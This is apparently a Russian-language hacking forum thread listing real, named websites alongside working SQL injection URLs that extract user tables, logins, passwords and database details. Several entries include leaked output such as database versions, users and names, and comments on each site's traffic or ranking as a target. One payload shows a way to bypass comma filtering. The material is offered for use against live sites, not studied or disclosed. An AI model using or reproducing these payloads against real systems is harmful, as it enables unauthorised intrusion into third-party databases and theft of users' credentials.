SQL Инъекции

увы нет таблиц пользовтаелей.

 

Очередной образец неудачного сайтостроительства.

PHP:

http://ovoshhi.yomu.ru/index.php?URL=razdely.php&tip=-2+union+select+1,2,3,count(*),5,6,7,8,9,10,11+from+Polzovateli--

 

Картинки

 

PHP:

http://tekedb.uw.hu/jatekosadat.php?jid=-1+union+select+1,concat_ws(0x03a,name,password),3,4,5,6+from+users--

 

Картинг

 

Я буду гореть в аду

PHP:

http://kolyaski-nn.ru/index.php?id=12&cat=18&podcat=47&pid=-567+union+select+1,2,3,4,5,6,7,8,9,10,11--

 

ТИЦ 10

PHP:

http://www.afh.ru/product_d.php
?id=13/**/union/**/select/**/unhex(31303235343830303536),concat(0x27,unhex(Hex(cast(user()/**/as/**/char))),0x27),unhex(31303235343830303536),unhex(31303235343830303536)--

 

Интересные скульи(обход фильтрации запятых). Эскорт-услуги.

Посещаемость 2.8k/day.

Code:

http://www.sexrelax.ru/girls.php?link=983+union+select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e join (select version())f--+f

Посещаемость мала, но есть шансы клиентов найти

Code:

http://www.spbdosug.com/girls.php?link=341+union+%0A+select*from(select+1)a+join+(select+2)b+join+(select+login+from+users+where+id=1)c+join+(select+4)d+join+(select+5)e+join+(select+6)f+join+(select+7)g+join+(select+8)h+join+(select+9)k--+f

 

ТИЦ 10

PHP:

http://www.detali52.ru/shop/i.php
?id=52011+union+select+version()--

вывод в редиректе:

 

Хоккей

Soccer Club

телепрограмма

//постите все вместе

 

Порнуха

Code:

http://boobzi.com/index.php?division_id=9999999999999999999+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6--

5.1.40:boobzi@localhost:wwwboobzicom

 

Научный

Скачка

Code:

http://www.tegnet.com.ar/es/download.php?p_mirror_id=-25 union select 1,2,concat_ws(0x3a,version(),database(),user()),4,5 --

 

Для зорких глазом

HTML:

http://www.nugu.lt/dossier/main.php?mid=-215+union+select+1,user_login+from+wp_users--

 

ISC Intelligence in Science

 

http://www.theflea.org/

5.0.51a-24+lenny5:fleadbuser@localhost:flea_cms

http://lavida.kgnu.net/

5.1.62-0ubuntu0.10.04.1:kgnu@localhost:lavida

http://www.projekt30.com/

4.1.22-logrojekt30@localhostrojekt30
PR: 5, тИЦ: 10
Вывод в исходнике. Мускуль 4 ветки, но есть таблица users с полями email и password

http://orac.caffeine.co.nz/

4.1.12:tim@localhost:guideData

 

druart-sa

Лошади

cartoon

 

Что-то непонятное на польском.

PHP:

http://www.book2u.mielec.pl/dossier-k-,p,6015?id=9999999'+union+select+concat_ws(0x03a,@@datadir,@@tmpdir)--+h

 

Ферма

 

Читаем немецкие новости.

PHP:

http://top-nachrichten-24.com/content/ransicht.php?rid=-16+union+select+1,concat_ws(0x03a,id,login,password,level),3,4+from+user_admin--

 

Ток не вывести (